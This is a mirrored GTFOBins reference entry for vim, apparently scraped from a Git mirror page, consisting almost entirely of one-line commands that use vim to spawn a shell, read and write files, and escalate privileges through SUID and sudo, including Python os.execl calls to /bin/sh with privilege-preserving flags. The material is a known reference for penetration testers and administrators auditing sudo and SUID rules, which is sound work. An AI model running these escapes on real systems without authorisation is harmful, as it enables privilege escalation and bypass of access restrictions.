1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-12 10:21:36 +01:00
GTFOBins.github.io/_gtfobins/vim.md
2018-12-18 14:28:09 +01:00

897 B

functions
shell file-write file-read suid sudo
code
vim -c ':!/bin/sh'
code
vim :set shell=/bin/sh :shell
description code
This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
code
vim file_to_write iDATA ^[ w
code
vim file_to_read
description code
This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
code
sudo vim -c ':!/bin/sh'
description code
This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'